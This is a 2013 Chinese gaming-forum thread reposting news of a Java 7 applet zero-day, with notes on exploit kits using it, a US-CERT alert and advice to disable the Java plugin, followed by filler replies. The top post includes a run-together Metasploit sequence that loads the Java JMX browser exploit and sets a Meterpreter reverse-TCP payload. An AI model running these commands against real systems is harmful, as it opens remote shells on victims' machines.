天泽在线_网页版CS_CS对战平台_Cs1.6_amxx_sma插件_CS论坛

标题: 新年初始，Java惊爆首个0day [打印本页]

作者: admin 时间: 2013-1-17 09:54
标题: 新年初始，Java惊爆首个0day

11：00 UPDATE: MSF已更新相关渗透测试模块

use exploit/windows/browser/ie_cbutton_uafuse exploit/multi/browser/java_jre17_jmxbean set SRVHOST 192.168.178.26 set TARGET 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.26 exploitsysinfogetuid

详细链接及视频：
http://eromang.zataz.com/2013/01/10/java-applet-jmx-0day-remote-code-execution-metasploit-demo/

新年伊始，人们还沉浸在节日的欢乐气氛中，Java又赠送给大家一份豪礼，让各位欢欢乐乐过个大年。日前，Java又爆了一个新的0day，可能让攻击者获取计算机管理权限，Java 7 Update 10或更早的版本中存在该漏洞，该漏洞可以允许未经身份验证的远程攻击者在受害者系统上执行任意代码，该漏洞首先在‘Malware Don’t Need Coffee’博客上发表。

目前该漏洞在网络有两个EXP,分别出售价格为700美元和1500美元，在去年八月发现的CVE-2012-4681漏洞中使用的是类似的手法，查看地址。

两个EXP被黑客用来传播恶意软件，国外著名的黑名工具包BlackHole Exploit Kit和Cool Exploit Kit已经更新了该EXP。

BlackHole作者Paunch昨天在网络公布，称在BlackHole添加该JAVA 0day是送给软件用户的新年福利，经AlienVault Labs确认，BlackHole工具中使用的EXP证实为Java最新的漏洞。

US-CERT也发出了VU#625617预警。未受信任的Java applet可通过调用setSecurityManager()函数提升权限，从而在没有代码签名的情况下获得 full privileges。

该漏洞影响分布图如下：

目前建议只能禁用浏览器的Java plugin来防范该漏洞攻击：

作者: 爷爷的奶奶 时间: 2013-1-18 04:54
今天没事来逛逛，看了一下，感觉相当的不错。

作者: 翊尚彩 时间: 2013-1-29 14:14
我帮你喝喝

作者: 火影忍者带土 时间: 2014-10-26 09:52
老大,我好崇拜你哟

作者: 流星灬殒泪 时间: 2014-11-5 18:15
顶的就是你

作者: 宇萍镝 时间: 2014-11-18 09:23
这个贴不错！！！！！看了之后就要回复贴子，呵呵

作者: 消极撒 时间: 2014-12-6 03:00
来上茶~~~~

作者: 部落、我是菜鸟 时间: 2014-12-29 07:07
哈哈,顶你了哦.

作者: 杀不死的古龙 时间: 2015-1-29 03:22
呵呵,支持一下哈

作者: 八林川 时间: 2015-3-3 05:28
楼主的内容不管你信不信，反正我信了

作者: 藤源浩仔 时间: 2015-3-31 02:29
朕要休息了..............

作者: 可以卐试试 时间: 2015-5-3 15:59
厉害！强~~~~没的说了！

作者: 爱之恋 时间: 2015-6-9 21:59
我假装认真地工作，老板假装认真地付薪水

作者: 我不知道 时间: 2015-7-16 06:05
好帖，有才

作者: 午夜屠夫第一 时间: 2015-8-20 07:56
支持一下吧

作者: 伪装导演着那高 时间: 2015-9-21 08:12
提示: 作者被禁止或删除内容自动屏蔽

作者: 刘呼 时间: 2015-10-24 08:51
加油啊！！！！顶哦!!!!!

作者: 不想多说 时间: 2015-12-1 00:35
很好！很强大！

作者: 临翠儿嫩 时间: 2016-1-15 21:43
你还想说什么啊....

作者: 。。。。。我 时间: 2016-2-25 20:09
我该不会是最后一个顶的吧

作者: 静丁毅 时间: 2016-4-16 11:04
长时间没来看了～～

作者: 寒光剑 时间: 2016-6-19 04:55
支持~~

作者: 付凡九 时间: 2016-7-30 15:18
要相信自己~智商为0

作者: 系统 时间: 2016-10-1 01:33
呵呵,明白了

作者: 机子卡大叔 时间: 2016-11-23 14:24
支持你一下下。。

作者: 中国队长 时间: 2017-1-22 17:58
没人理我。。。。

欢迎光临天泽在线_网页版CS_CS对战平台_Cs1.6_amxx_sma插件_CS论坛 (https://bbs.tianzept.com/)